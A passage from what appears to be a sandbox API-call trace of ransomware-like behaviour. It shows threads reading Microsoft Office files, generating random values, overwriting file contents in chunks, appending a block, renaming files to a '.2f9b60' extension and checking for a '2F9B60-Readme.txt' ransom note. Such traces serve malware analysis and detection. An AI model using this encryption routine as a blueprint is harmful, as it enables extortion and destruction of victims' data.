IoStatusBlock=0x3cebfc58, FileInformation=0x3cebfc68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0226.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17160) returned 1 [0226.157] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0226.157] FlushFileBuffers (hFile=0x282c) returned 1 [0226.160] CloseHandle (hObject=0x282c) returned 1 [0226.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f4bf0 [0226.441] wcscpy (in: _Dest=0x431f4bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0226.442] wcscat (in: _Dest=0x431f4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" [0226.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\2f9b60-readme.txt")) returned 0x20 [0226.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f4bf0) returned 1 [0226.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205dc30) returned 1 Thread: id = 2705 os_tid = 0x22b0 [0157.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl")) returned 0x20 [0159.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL", dwFileAttributes=0x20) returned 1 [0159.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\YEAR.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\year.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2830 [0159.618] GetFileSizeEx (in: hFile=0x2830, lpFileSize=0x3d57fca0 | out: lpFileSize=0x3d57fca0*=35822) returned 1 [0159.618] SetFilePointerEx (in: hFile=0x2830, liDistanceToMove=0x8bea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.618] ReadFile (in: hFile=0x2830, lpBuffer=0x3d57fc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d57fc68, lpOverlapped=0x0 | out: lpBuffer=0x3d57fc20*, lpNumberOfBytesRead=0x3d57fc68*=0x4, lpOverlapped=0x0) returned 1 [0159.901] SetFilePointerEx (in: hFile=0x2830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a10 [0159.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a40 [0159.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0a70 [0159.902] NtQuerySystemTime (in: CurrentTime=0x3d57fb60 | out: CurrentTime=0x3d57fb60*=132462177650398000) returned 0x0 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x33d83735 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x10d246f1 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x6c9bf0a6 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x4460f789 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x71d3b06e [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x74d69e1d [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x6f056798 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x1b3ef845 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x20966724 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x2c7c6d88 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0xece3f8c [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x5d634157 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x3ead6548 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x757f87e9 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x4a8c0caf [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x10fc383 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x7e7104d8 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x42271b6b [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x7364a493 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x5dae79e2 [0159.902] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x62ec6d5d [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x43d3ac43 [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x2f8dc1fe [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x2f6989ec [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x4bf3d27a [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x7e501bd7 [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x50fc1e01 [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x537433ba [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x4116d867 [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x583dce9a [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x1da2061f [0159.903] RtlRandomEx (in: Seed=0x3d57fb50 | out: Seed=0x3d57fb50) returned 0x4d464ac [0159.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0aa0 [0159.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb87f0 [0159.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0ad0 [0159.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb87f0) returned 1 [0159.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a70) returned 1 [0159.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0a10) returned 1 [0159.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d500b0 [0159.915] SetFilePointerEx (in: hFile=0x2830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.915] ReadFile (in: hFile=0x2830, lpBuffer=0x41d500b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3d57fbc0, lpOverlapped=0x0 | out: lpBuffer=0x41d500b0*, lpNumberOfBytesRead=0x3d57fbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.003] SetFilePointerEx (in: hFile=0x2830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059650 [0161.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503710 [0161.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ed0 [0161.004] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2ed0) returned 1 [0161.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42115d50 [0161.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2ed0 [0161.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2f00 [0161.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2f00) returned 1 [0161.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503710) returned 1 [0161.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059650) returned 1 [0161.005] WriteFile (hFile=0x2830, lpBuffer=0x42115d50, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3d57fbc0, lpOverlapped=0x0) [0197.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42115d50) returned 1 [0197.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d500b0) returned 1 [0197.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced8970 [0197.889] SetFilePointerEx (in: hFile=0x2830, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0197.889] WriteFile (in: hFile=0x2830, lpBuffer=0x4315b710*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3d57fc70, lpOverlapped=0x0 | out: lpBuffer=0x4315b710*, lpNumberOfBytesWritten=0x3d57fc70*=0x102, lpOverlapped=0x0) returned 1 [0206.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0206.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6920 [0206.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6920) returned 1 [0206.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x42c0f160 [0206.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6920 [0206.634] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a68c0 [0206.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a68c0) returned 1 [0206.635] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.636] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0206.636] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x423a68c0 [0206.636] sprintf (in: _Dest=0x423a68c0, _Format="%c%c" | out: _Dest="30") returned 2 [0206.636] sprintf (in: _Dest=0x423a68c2, _Format="%c%c" | out: _Dest="0e") returned 2 [0206.636] sprintf (in: _Dest=0x423a68c4, _Format="%c%c" | out: _Dest="85") returned 2 [0206.636] sprintf (in: _Dest=0x423a68c6, _Format="%c%c" | out: _Dest="70") returned 2 [0206.636] sprintf (in: _Dest=0x423a68c8, _Format="%c%c" | out: _Dest="86") returned 2 [0206.636] sprintf (in: _Dest=0x423a68ca, _Format="%c%c" | out: _Dest="f4") returned 2 [0206.636] sprintf (in: _Dest=0x423a68cc, _Format="%c%c" | out: _Dest="21") returned 2 [0206.636] sprintf (in: _Dest=0x423a68ce, _Format="%c%c" | out: _Dest="e1") returned 2 [0206.636] sprintf (in: _Dest=0x423a68d0, _Format="%c%c" | out: _Dest="c2") returned 2 [0206.636] sprintf (in: _Dest=0x423a68d2, _Format="%c%c" | out: _Dest="06") returned 2 [0206.636] sprintf (in: _Dest=0x423a68d4, _Format="%c%c" | out: _Dest="8a") returned 2 [0206.636] sprintf (in: _Dest=0x423a68d6, _Format="%c%c" | out: _Dest="2e") returned 2 [0206.636] sprintf (in: _Dest=0x423a68d8, _Format="%c%c" | out: _Dest="13") returned 2 [0206.636] sprintf (in: _Dest=0x423a68da, _Format="%c%c" | out: _Dest="68") returned 2 [0206.636] sprintf (in: _Dest=0x423a68dc, _Format="%c%c" | out: _Dest="5c") returned 2 [0206.637] sprintf (in: _Dest=0x423a68de, _Format="%c%c" | out: _Dest="5a") returned 2 [0206.637] RtlInitAnsiString (in: DestinationString=0x3d57fce8, SourceString="300e857086f421e1c2068a2e13685c5a" | out: DestinationString="300e857086f421e1c2068a2e13685c5a") [0206.637] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d57fcb8, SourceString="300e857086f421e1c2068a2e13685c5a", AllocateDestinationString=1 | out: DestinationString="300e857086f421e1c2068a2e13685c5a") returned 0x0 [0206.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c3a0 [0206.637] wcscat (in: _Dest=0x202acb00, _Source="300e8570" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570" [0206.637] wcscat (in: _Dest=0x202acb00, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570.2f9b60" [0206.637] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570.2f9b60", NtPathName=0x3d57fc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\300e8570.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4311c220 [0209.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311c220) returned 1 [0209.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fcea0) returned 1 [0209.163] NtQueryInformationFile (in: FileHandle=0x2830, IoStatusBlock=0x3d57fcf8, FileInformation=0x3d57fd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3d57fcf8, FileInformation=0x3d57fd08) returned 0x0 [0209.163] NtSetInformationFile (FileHandle=0x2830, IoStatusBlock=0x3d57fcf8, FileInformation=0x3d57fd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202acb00) returned 1 [0219.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 [0219.993] FlushFileBuffers (hFile=0x2830) returned 1 [0222.399] CloseHandle (hObject=0x2830) returned 1 [0224.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431f2f60 [0224.581] wcscpy (in: _Dest=0x431f2f60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\" [0224.581] wcscat (in: _Dest=0x431f2f60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" [0224.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Sort\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\sort\\2f9b60-readme.txt")) returned 0x20 [0225.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f2f60) returned 1 [0225.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d370) returned 1 Thread: id = 2706 os_tid = 0x22b4 [0157.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt")) returned 0x20 [0157.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt", dwFileAttributes=0x20) returned 1 [0157.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\107.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1018 [0157.746] GetFileSizeEx (in: hFile=0x1018, lpFileSize=0x2521fe40 | out: lpFileSize=0x2521fe40*=227269) returned 1 [0157.746] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x377c1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.746] ReadFile (in: hFile=0x1018, lpBuffer=0x2521fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2521fe08, lpOverlapped=0x0 | out: lpBuffer=0x2521fdc0*, lpNumberOfBytesRead=0x2521fe08*=0x4, lpOverlapped=0x0) returned 1 [0159.485] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205013a0 [0159.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3fe0 [0159.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4070 [0159.485] NtQuerySystemTime (in: CurrentTime=0x2521fd00 | out: CurrentTime=0x2521fd00*=132462177646186000) returned 0x0 [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x455daab1 [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x33e7f420 [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x3fe3857d [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x1286cc8b [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x7d1dc7c1 [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x3afffb72 [0159.485] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x143c418f [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x40a17ec0 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x8c6a505 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x3a003e29 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x4b0d8622 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x27638e76 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x666250f4 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x4a8c0caf [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x1b9e6814 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x32300ae7 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x1816272d [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x1e5e0a94 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0xa0a02a1 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x57f375ca [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x3ef882d8 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x12f52f7b [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0xab94e0d [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x312e9818 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x4a1dfb3a [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x5a0051b7 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x15928ae6 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x22343d9a [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x145f491f [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x4a231fe3 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x62086568 [0159.486] RtlRandomEx (in: Seed=0x2521fcf0 | out: Seed=0x2521fcf0) returned 0x51d355a1 [0159.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40a0 [0159.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7470 [0159.495] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb40d0 [0159.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7470) returned 1 [0159.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb4070) returned 1 [0159.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205013a0) returned 1 [0159.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4204c1b0 [0159.496] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.496] ReadFile (in: hFile=0x1018, lpBuffer=0x4204c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2521fd60, lpOverlapped=0x0 | out: lpBuffer=0x4204c1b0*, lpNumberOfBytesRead=0x2521fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0159.744] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb77f0 [0159.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0170 [0159.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0170) returned 1 [0159.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41d80d80 [0159.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0170 [0159.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a01a0 [0159.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a01a0) returned 1 [0159.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb77f0) returned 1 [0159.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.746] WriteFile (hFile=0x1018, lpBuffer=0x41d80d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2521fd60, lpOverlapped=0x0) [0194.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d80d80) returned 1 [0194.521] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.521] ReadFile (in: hFile=0x1018, lpBuffer=0x4204c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2521fd60, lpOverlapped=0x0 | out: lpBuffer=0x4204c1b0*, lpNumberOfBytesRead=0x2521fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0194.581] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba460 [0194.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0194.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5180) returned 1 [0194.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2046c360 [0194.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5180 [0194.583] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a5240 [0194.583] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a5240) returned 1 [0194.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba460) returned 1 [0194.584] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.584] WriteFile (in: hFile=0x1018, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2521fd60, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x2521fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0205.380] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x33bc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.380] ReadFile (in: hFile=0x1018, lpBuffer=0x4204c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2521fd60, lpOverlapped=0x0 | out: lpBuffer=0x4204c1b0*, lpNumberOfBytesRead=0x2521fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0205.481] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x33bc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0205.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61600 [0205.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb2e0 [0205.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0205.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261d00) returned 1 [0205.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42a8fa20 [0205.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0205.483] RtlAllocateHeap 